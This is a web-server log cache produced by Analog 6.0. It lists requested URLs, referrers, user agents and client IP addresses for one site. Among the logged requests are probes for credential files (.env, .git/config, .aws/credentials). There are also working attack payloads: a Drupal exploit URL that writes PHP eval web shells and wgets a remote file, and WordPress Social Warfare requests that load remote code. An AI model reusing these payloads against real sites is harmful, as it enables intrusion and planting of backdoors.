CACHE type 5 produced by analog 6.0/Unix. Do not modify or delete!
T	0	0	0	0	2	742	0
D	27755288	27755308
1	0	0	0	7	0	0	27711030	0	0	26901015	0	/.git/config?54.36.148.170
1	0	0	0	2	0	0	27145297	0	0	27120939	0	/phpinfo.php
1	0	0	0	1	0	0	26982693	0	0	26982693	0	/vendor/phpunit/phpunit/phpunit.xml
1	0	0	0	1	0	0	27120939	0	0	27120939	0	/config.js
1	0	0	0	4	0	0	25260317	0	0	25045672	0	/?45.55.55.209
1	0	0	0	1	0	0	27120939	0	0	27120939	0	/config/aws.yml
1	0	0	0	1	0	0	27083883	0	0	27083883	0	/wp-content/plugins/fancy-product-designer/inc/custom-image-handler.php?54.36.148.170
1	0	0	0	33	0	0	26307820	0	0	25434083	0	/?104.131.111.127
1	0	0	0	4	0	0	26302397	0	0	26198014	0	/robots.txt?54.36.150.52
1	0	0	0	1	0	0	27120939	0	0	27120939	0	/aws.yml
1	0	0	0	1	0	0	27263571	0	0	27263571	0	/.well-known/
1	0	0	0	7	0	0	27195324	0	0	26771342	0	/.well-known/security.txt?54.36.148.170
1	0	0	2	247	0	27004995	27755308	0	27004922	24886345	0	/
1	0	0	0	2	0	0	26619811	0	0	26619811	0	/dns-query
1	0	0	0	16	0	0	26353604	0	0	25921711	0	/robots.txt?104.131.111.127
1	0	0	0	4	0	0	26013122	0	0	25879551	0	/admin/login.php
1	0	0	0	1	0	0	25908499	0	0	25908499	0	/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://www.viamarkt.hu/readme.txt&wpaa=phpinfo();exit();
1	0	0	0	2	0	0	27264127	0	0	26982693	0	/_ignition/execute-solution
1	0	0	0	3	0	0	27417024	0	0	27256847	0	/.git/HEAD
1	0	0	0	1	0	0	27120939	0	0	27120939	0	/.env.bak
1	0	0	0	1	0	0	24960693	0	0	24960693	0	/?174.138.52.120
1	0	0	0	2	0	0	26619811	0	0	26619811	0	/sitemap.xml
1	0	0	0	4	0	0	26346814	0	0	26149118	0	/?54.36.150.52
1	0	0	0	19	0	0	25742607	0	0	25445138	0	/?159.65.248.248
1	0	0	0	50	0	0	27705475	0	0	25927919	0	/robots.txt
1	0	0	0	14	0	0	27695721	0	0	26619811	0	/favicon.ico
1	0	0	0	2	0	0	27417015	0	0	26629927	0	/.git/HEAD?54.36.148.170
1	0	0	0	1	0	0	25908499	0	0	25908499	0	/?q=user/password&name[#post_render][]=passthru&name[#type]=markup&name[#markup]=echo+'Vuln!!+patch+it+Now!'+>+vuln.htm%3B+echo+'Vuln!!<%3Fphp+@eval($_POST['pass'])+%3F>'>+sites/default/files/vuln.php%3B+echo+'Vuln!!<%3Fphp+@eval($_POST['pass'])+%3F>'>+vuln.php%3B+cd+sites/default/files/%3B+echo+'AddType+application/x-httpd-php+.jpg'+>+.htaccess%3B+wget+'http://40k.waszmann.de/Deutsch/images/up.php'
1	0	0	0	1	0	0	25908499	0	0	25908499	0	/administrator/webconfig.txt.php
1	0	0	0	2	0	0	25943930	0	0	25929971	0	/robots.txt?23.27.155.248
1	0	0	0	65	0	0	27724810	0	0	26401753	0	/robots.txt?54.36.148.170
1	0	0	0	1	0	0	25968115	0	0	25968115	0	/xmlrpc.php
1	0	0	0	1	0	0	25908499	0	0	25908499	0	/user/register/?element_parents=account/mail/#value&ajax_form=1&_wrapper_format=drupal_ajax
1	0	0	0	8	0	0	25957300	0	0	25893423	0	/?23.27.155.248
1	0	0	0	181	0	0	27755288	0	0	26391335	0	/?54.36.148.170
1	0	0	0	4	0	0	26013123	0	0	25879552	0	/fckeditor/editor/filemanager/connectors/php/upload.php?Type=Media
1	0	0	0	4	0	0	27509457	0	0	26982693	0	/.env
1	0	0	0	1	0	0	26462046	0	0	26462046	0	/vendor/phpunit/phpunit/LICENSE
1	0	0	0	1	0	0	25908499	0	0	25908499	0	/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://www.acne-school.ru//sites/all/modules/webform/tests/subform.txt&wpaa=phpinfo();exit();
1	0	0	0	1	0	0	27656135	0	0	27656135	0	/_ignition/execute-solution?54.36.148.170
1	0	0	0	1	0	0	27120939	0	0	27120939	0	/phpinfo
1	0	0	0	1	0	0	27263571	0	0	27263571	0	/wp-admin/css/?54.36.148.170
1	0	0	0	1	0	0	25908499	0	0	25908499	0	/webconfig.txt.php?104.131.111.127
1	0	0	0	1	0	0	27082368	0	0	27082368	0	/wp-content/plugins/fancy-product-designer/inc/custom-image-handler.php
1	0	0	0	2	0	0	25300213	0	0	25271048	0	/?45.55.192.143
1	0	0	0	4	0	0	27498671	0	0	27108076	0	/.env?54.36.148.170
1	0	0	0	4	0	0	26013123	0	0	25879551	0	/templates/system/css/system.css
1	0	0	0	2	0	0	26118707	0	0	26118707	0	/old/?104.131.111.127
1	0	0	0	1	0	0	24929234	0	0	24929234	0	/?45.55.47.205
1	0	0	0	1	0	0	27120939	0	0	27120939	0	/.aws/credentials
1	0	0	0	2	0	0	27145297	0	0	27120939	0	/_profiler/phpinfo?54.36.148.170
1	0	0	0	1	0	0	25968114	0	0	25968114	0	/wp-login.php?23.27.155.248
1	0	0	0	1	0	0	27278552	0	0	27278552	0	/wp-login.php?54.36.148.170
1	0	0	0	1	0	0	27120939	0	0	27120939	0	/info.php
1	0	0	0	4	0	0	26013122	0	0	25879551	0	/admin/images/cal_date_over.gif?104.131.111.127
1	0	0	0	1	0	0	25908499	0	0	25908499	0	/webconfig.txt.php
1	0	0	0	9	0	0	27602214	0	0	27491241	0	/.git/config
1	0	0	0	3	0	0	25388526	0	0	25345335	0	/?159.65.47.153
3	0	0	0	9	0	0	25968115	0	0	25908499	0	http://www.google.com.hk/
3	0	0	0	1	0	0	27278552	0	0	27278552	0	https://www.opencart.megastore.co.id/wp-login.php
4	0	0	0	1	0	0	27366992	0	0	27366992	0	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36
4	0	0	0	1	0	0	25534561	0	0	25534561	0	Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0
4	0	0	0	1	0	0	25885717	0	0	25885717	0	Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36
4	0	0	0	8	0	0	25924108	0	0	25883223	0	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0
4	0	0	0	1	0	0	26930753	0	0	26930753	0	httpx - Open-source project (github.com/projectdiscovery/httpx)
4	0	0	0	1	0	0	25622336	0	0	25622336	0	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0
4	0	0	0	1	0	0	26149118	0	0	26149118	0	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Edge/15.15063
4	0	0	0	2	0	0	24929234	0	0	24886345	0	Netcraft SSL Server Survey - contact info@netcraft.com
4	0	0	0	1	0	0	26929480	0	0	26929480	0	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
4	0	0	0	20	0	0	26013123	0	0	25879551	0	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
4	0	0	0	4	0	0	26862076	0	0	26861968	0	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
4	0	0	0	1	0	0	27130012	0	0	27130012	0	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
4	0	0	0	8	0	0	27747357	0	0	27190059	0	Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)
4	0	0	0	2	0	0	27333904	0	0	27326005	0	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
4	0	0	0	1	0	0	26594628	0	0	26594628	0	Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.113 Safari/537.36
4	0	0	0	8	0	0	27694101	0	0	27145751	0	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
4	0	0	0	1	0	0	26594628	0	0	26594628	0	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0
4	0	0	0	98	0	0	27634073	0	0	26916306	0	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36
4	0	0	0	14	0	0	27724810	0	0	27654327	0	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
4	0	0	0	3	0	0	27106545	0	0	26901015	0	Go-http-client/1.1
4	0	0	0	15	0	0	27145297	0	0	27082368	0	Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36
4	0	0	0	2	0	0	27599272	0	0	27227677	0	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
4	0	0	0	1	0	0	27598915	0	0	27598915	0	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
4	0	0	0	8	0	0	26619811	0	0	26619811	0	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
4	0	0	0	4	0	0	26982693	0	0	26982693	0	curl/7.58.0
4	0	0	0	2	0	0	27263571	0	0	27263571	0	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36
4	0	0	0	3	0	0	27494866	0	0	27238681	0	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
4	0	0	0	4	0	0	27454349	0	0	27281430	0	webprosbot/2.0 (+mailto:abuse-6337@webpros.com)
4	0	0	0	3	0	0	27582838	0	0	27328800	0	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
4	0	0	0	4	0	0	27557884	0	0	27199330	0	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
4	0	0	0	2	0	0	27538182	0	0	27412769	0	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
4	0	0	0	6	0	0	27509166	0	0	27291007	0	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
4	0	0	0	2	0	0	27543147	0	0	27460319	0	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15
4	0	0	0	3	0	0	26764744	0	0	26763970	0	We are no strangers to love. You know the rules and so do I. A full commitment is what Im thinking of. You wouldnt get this from any other guy..
4	0	0	0	3	0	0	27586434	0	0	27279999	0	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.164 Safari/537.36
4	0	0	0	2	0	0	26295807	0	0	26295807	0	fasthttp
4	0	0	0	1	0	0	25358934	0	0	25358934	0	Mozilla/4.0 (Compatible; MSIE 8.0; Windows NT 5.2; Trident/6.0)
4	0	0	0	4	0	0	25819954	0	0	25803979	0	Mozilla/5.0 zgrab/0.x
4	0	0	0	1	0	0	27098665	0	0	27098665	0	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36
4	0	0	0	5	0	0	27145691	0	0	26588287	0	Mozilla/5.0 (X11; Linux i686; rv:10.0) Gecko/20100101 Firefox/10.0
4	0	0	0	1	0	0	25271048	0	0	25271048	0	Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko ) Version/5.1 Mobile/9B176 Safari/7534.48.3
4	0	0	0	1	0	0	25446706	0	0	25446706	0	Mozilla/5.0 (Windows; U; Windows NT 6.1; tr-TR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27
4	0	0	0	14	0	0	27509457	0	0	27108076	0	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
4	0	0	0	1	0	0	25885717	0	0	25885717	0	Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36
4	0	0	0	7	0	0	27195324	0	0	26771342	0	Mozilla/5.0 (Windows NT 10.0; Win64; x64) https://tools.ietf.org/html/draft-foudil-securitytxt-10
4	0	0	0	16	0	0	26882065	0	0	26588288	0	Go-http-client/2.0
4	0	0	0	1	0	0	27003130	0	0	27003130	0	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36
4	0	0	0	1	0	0	26629927	0	0	26629927	0	curl/7.47.0
4	0	0	0	62	0	0	26459411	0	0	25921711	0	Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)
4	0	0	0	2	0	0	26619811	0	0	26619811	0	Python-urllib/3.7
4	0	0	0	9	0	0	25968115	0	0	25908499	0	Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36
4	0	0	0	2	0	0	27256847	0	0	27256847	0	Python-urllib/3.6
4	0	0	0	1	0	0	26677149	0	0	26677149	0	Mozilla/5.0 (iPhone; CPU iPhone OS 13_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.1 Mobile/15E148 Safari/604.1
4	0	0	0	10	0	0	27656135	0	0	27264127	0	python-requests/2.18.4
4	0	0	0	4	0	0	27105601	0	0	26929593	0	Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36
4	0	0	0	1	0	0	25446633	0	0	25446633	0	Mozilla/5.0 (Wappalyzer)
4	0	0	0	2	0	0	27344493	0	0	26933710	0	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
4	0	0	0	22	0	0	27695140	0	0	26862602	0	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0
4	0	0	0	1	0	0	26594628	0	0	26594628	0	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36
4	0	0	0	1	0	0	27004326	0	0	27004326	0	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1 Safari/605.1.15
4	0	0	0	1	0	0	26287381	0	0	26287381	0	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
4	0	0	0	23	0	0	27695721	0	0	27255135	0	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
4	0	0	0	4	0	0	27491241	0	0	26118707	0	python-requests/2.22.0
4	0	0	0	2	0	0	27417024	0	0	27417015	0	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
4	0	0	0	2	0	0	26624782	0	0	26624782	0	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36
4	0	0	2	123	0	27004995	27755308	0	27004922	24960693	0	Mozilla/5.0 (compatible; NetcraftSurveyAgent/1.0; +info@netcraft.com)
4	0	0	0	11	0	0	27058762	0	0	26764851	0	Mozilla/5.0 (iPhone; CPU iPhone OS 13_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Mobile/15E148 Safari/604.1
4	0	0	0	8	0	0	27523681	0	0	27293931	0	Mozilla/5.0 (Linux; Android 11; M2003J15SC Build/RP1A.200720.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/87.0.4280.141 Mobile Safari/537.36
4	0	0	0	1	0	0	27584688	0	0	27584688	0	Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
4	0	0	0	3	0	0	27058074	0	0	26919613	0	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
4	0	0	0	1	0	0	25885717	0	0	25885717	0	Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) Version/10.0 Mobile/14D27 Safari/602.1
4	0	0	0	3	0	0	27711030	0	0	27602127	0	python-requests/2.25.1
4	0	0	0	1	0	0	26462046	0	0	26462046	0	Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0
4	0	0	0	1	0	0	27123118	0	0	27123118	0	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36
4	0	0	0	47	0	0	27753777	0	0	27170455	0	quic-go-HTTP/3
4	0	0	0	3	0	0	27025577	0	0	26872838	0	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
4	0	0	0	3	0	0	27187536	0	0	27147808	0	webprosbot/2.0 (abuse-6337@webpros.com)
4	0	0	0	1	0	0	27278552	0	0	27278552	0	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
4	0	0	0	58	0	0	26838582	0	0	25445138	0	Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36
5	0	0	0	1	0	0	25984937	0	0	25984937	0	54.36.148.167
5	0	0	0	1	0	0	26525066	0	0	26525066	0	64.225.16.225
5	0	0	0	1	0	0	27052553	0	0	27052553	0	3.10.5.208
5	0	0	0	1	0	0	27362171	0	0	27362171	0	161.35.187.182
5	0	0	0	3	0	0	27644030	0	0	27338977	0	51.158.109.3
5	0	0	0	1	0	0	25260365	0	0	25260365	0	45.55.192.143
5	0	0	0	1	0	0	27268992	0	0	27268992	0	64.225.58.87
5	0	0	0	1	0	0	25998827	0	0	25998827	0	159.203.75.184
5	0	0	0	1	0	0	27488347	0	0	27488347	0	157.245.222.76
5	0	0	0	3	0	0	26619811	0	0	26619811	0	111.206.250.204
5	0	0	0	2	0	0	26619811	0	0	26619811	0	111.206.250.203
5	0	0	0	1	0	0	27004326	0	0	27004326	0	3.10.246.176
5	0	0	0	1	0	0	26930753	0	0	26930753	0	94.23.58.129
5	0	0	0	1	0	0	25652754	0	0	25652754	0	167.99.63.252
5	0	0	0	1	0	0	26790383	0	0	26790383	0	104.236.1.67
5	0	0	0	1	0	0	25133759	0	0	25133759	0	138.197.64.246
5	0	0	0	1	0	0	26294830	0	0	26294830	0	54.36.148.137
5	0	0	0	1	0	0	27412769	0	0	27412769	0	52.66.224.213
5	0	0	0	1	0	0	25568592	0	0	25568592	0	142.93.77.143
5	0	0	0	1	0	0	27585569	0	0	27585569	0	51.255.62.14
5	0	0	0	1	0	0	27476102	0	0	27476102	0	51.255.62.13
5	0	0	0	1	0	0	25964013	0	0	25964013	0	54.36.148.130
5	0	0	0	1	0	0	26028769	0	0	26028769	0	54.36.148.129
5	0	0	0	1	0	0	25968642	0	0	25968642	0	54.36.148.127
5	0	0	0	1	0	0	25943930	0	0	25943930	0	54.36.148.125
5	0	0	0	1	0	0	26177367	0	0	26177367	0	167.71.100.134
5	0	0	0	1	0	0	25968114	0	0	25968114	0	144.217.86.131
5	0	0	0	2	0	0	26346814	0	0	26145580	0	54.36.148.124
5	0	0	0	1	0	0	26963562	0	0	26963562	0	104.131.36.56
5	0	0	0	1	0	0	26660242	0	0	26660242	0	167.172.253.128
5	0	0	0	1	0	0	26129226	0	0	26129226	0	157.245.0.14
5	0	0	0	1	0	0	25964013	0	0	25964013	0	54.36.148.119
5	0	0	0	1	0	0	27138263	0	0	27138263	0	159.89.185.107
5	0	0	0	1	0	0	26249550	0	0	26249550	0	54.36.148.114
5	0	0	0	1	0	0	27185997	0	0	27185997	0	161.35.139.141
5	0	0	0	1	0	0	27255753	0	0	27255753	0	18.208.151.97
5	0	0	0	1	0	0	26302397	0	0	26302397	0	54.36.148.91
5	0	0	0	1	0	0	26876736	0	0	26876736	0	67.227.3.204
5	0	0	0	2	0	0	26295807	0	0	26295807	0	84.234.141.95
5	0	0	0	2	0	0	27255080	0	0	26770005	0	51.158.127.119
5	0	0	0	3	0	0	26087623	0	0	25929971	0	54.36.148.90
5	0	0	0	1	0	0	26629927	0	0	26629927	0	54.180.130.208
5	0	0	0	1	0	0	26929480	0	0	26929480	0	3.8.207.128
5	0	0	0	1	0	0	26346814	0	0	26346814	0	54.36.148.106
5	0	0	0	1	0	0	26618000	0	0	26618000	0	134.209.35.146
5	0	0	0	2	0	0	27190059	0	0	27190059	0	167.248.133.113
5	0	0	0	1	0	0	25977898	0	0	25977898	0	54.36.148.79
5	0	0	0	1	0	0	27255218	0	0	27255218	0	176.113.43.75
5	0	0	0	2	0	0	26405143	0	0	26034895	0	54.36.148.78
5	0	0	0	1	0	0	27628536	0	0	27628536	0	174.138.62.253
5	0	0	0	1	0	0	26746982	0	0	26746982	0	104.131.188.183
5	0	0	0	2	0	0	27586175	0	0	27586175	0	89.104.100.51
5	0	0	0	2	0	0	26619811	0	0	26619811	0	27.115.124.75
5	0	0	0	1	0	0	26677149	0	0	26677149	0	38.145.85.144
5	0	0	0	1	0	0	26434957	0	0	26434957	0	68.183.53.90
5	0	0	0	1	0	0	27268914	0	0	27268914	0	159.203.74.56
5	0	0	0	1	0	0	26619811	0	0	26619811	0	27.115.124.74
5	0	0	0	8	0	0	25924108	0	0	25883223	0	60.191.38.77
5	0	0	0	1	0	0	26594628	0	0	26594628	0	179.61.167.93
5	0	0	0	1	0	0	27403585	0	0	27403585	0	167.172.244.34
5	0	0	0	1	0	0	25865130	0	0	25865130	0	134.209.42.186
5	0	0	0	26	0	0	26128776	0	0	25445138	0	138.246.253.5
5	0	0	1	0	0	27004995	0	0	27004995	0	0	159.89.179.114
5	0	0	0	1	0	0	26747001	0	0	26747001	0	104.131.165.242
5	0	0	0	1	0	0	26480205	0	0	26480205	0	134.122.6.164
5	0	0	0	2	0	0	27695721	0	0	27695721	0	45.90.62.44
5	0	0	0	1	0	0	26347231	0	0	26347231	0	209.97.145.165
5	0	0	0	1	0	0	26038095	0	0	26038095	0	104.248.0.231
5	0	0	0	1	0	0	26302397	0	0	26302397	0	54.36.148.55
5	0	0	0	1	0	0	26480219	0	0	26480219	0	64.225.16.123
5	0	0	0	1	0	0	25983318	0	0	25983318	0	54.36.148.53
5	0	0	0	1	0	0	26038061	0	0	26038061	0	167.71.184.137
5	0	0	0	1	0	0	27130012	0	0	27130012	0	185.151.125.197
5	0	0	0	1	0	0	25345335	0	0	25345335	0	165.227.73.211
5	0	0	0	1	0	0	24886345	0	0	24886345	0	45.55.47.205
5	0	0	0	1	0	0	26875433	0	0	26875433	0	181.214.25.75
5	0	0	0	1	0	0	25446633	0	0	25446633	0	131.220.6.4
5	0	0	0	1	0	0	26087623	0	0	26087623	0	54.36.150.171
5	0	0	0	1	0	0	27185968	0	0	27185968	0	167.172.247.111
5	0	0	0	1	0	0	26933688	0	0	26933688	0	18.202.167.82
5	0	0	0	1	0	0	25979856	0	0	25979856	0	54.36.148.41
5	0	0	0	1	0	0	27535624	0	0	27535624	0	167.172.18.189
5	0	0	0	2	0	0	27292551	0	0	27292551	0	134.122.95.78
5	0	0	0	1	0	0	26917338	0	0	26917338	0	167.71.249.5
5	0	0	0	1	0	0	26028769	0	0	26028769	0	54.36.149.9
5	0	0	0	1	0	0	25652757	0	0	25652757	0	159.65.39.74
5	0	0	0	1	0	0	27365294	0	0	27365294	0	51.254.49.109
5	0	0	0	1	0	0	27476279	0	0	27476279	0	51.254.49.110
5	0	0	0	1	0	0	27535629	0	0	27535629	0	167.71.96.92
5	0	0	0	1	0	0	27585664	0	0	27585664	0	51.254.49.108
5	0	0	0	2	0	0	27695140	0	0	27255831	0	51.254.49.107
5	0	0	0	1	0	0	26449255	0	0	26449255	0	54.36.148.33
5	0	0	0	1	0	0	27293931	0	0	27293931	0	36.110.211.67
5	0	0	0	1	0	0	27695140	0	0	27695140	0	51.254.49.105
5	0	0	0	1	0	0	26096455	0	0	26096455	0	54.36.149.3
5	0	0	0	1	0	0	27257915	0	0	27257915	0	44.199.207.132
5	0	0	0	1	0	0	25947994	0	0	25947994	0	54.36.149.2
5	0	0	0	1	0	0	26449255	0	0	26449255	0	54.36.148.29
5	0	0	0	1	0	0	26191341	0	0	26191341	0	54.36.150.1
5	0	0	0	2	0	0	27476279	0	0	27255847	0	51.254.49.101
5	0	0	0	1	0	0	26307820	0	0	26307820	0	159.203.160.193
5	0	0	0	1	0	0	27585664	0	0	27585664	0	51.254.49.100
5	0	0	0	6	0	0	25968115	0	0	25879551	0	192.99.0.107
5	0	0	0	1	0	0	26459411	0	0	26459411	0	54.36.150.147
5	0	0	0	1	0	0	26764851	0	0	26764851	0	38.145.95.72
5	0	0	0	2	0	0	27476727	0	0	27476727	0	176.53.221.158
5	0	0	0	1	0	0	27153870	0	0	27153870	0	44.195.23.41
5	0	0	0	1	0	0	27695058	0	0	27695058	0	51.255.62.7
5	0	0	0	1	0	0	26034895	0	0	26034895	0	54.36.148.18
5	0	0	0	1	0	0	27695058	0	0	27695058	0	51.255.62.6
5	0	0	0	1	0	0	27576053	0	0	27576053	0	64.225.53.156
5	0	0	0	2	0	0	27585569	0	0	27476102	0	51.255.62.3
5	0	0	0	1	0	0	27366992	0	0	27366992	0	171.13.14.19
5	0	0	0	1	0	0	25474464	0	0	25474464	0	104.236.196.45
5	0	0	0	1	0	0	26619811	0	0	26619811	0	27.115.124.9
5	0	0	0	1	0	0	25389593	0	0	25389593	0	104.131.111.127
5	0	0	0	1	0	0	27315887	0	0	27315887	0	104.131.25.244
5	0	0	0	2	0	0	26619811	0	0	26619811	0	27.115.124.10
5	0	0	0	1	0	0	26215464	0	0	26215464	0	167.71.109.43
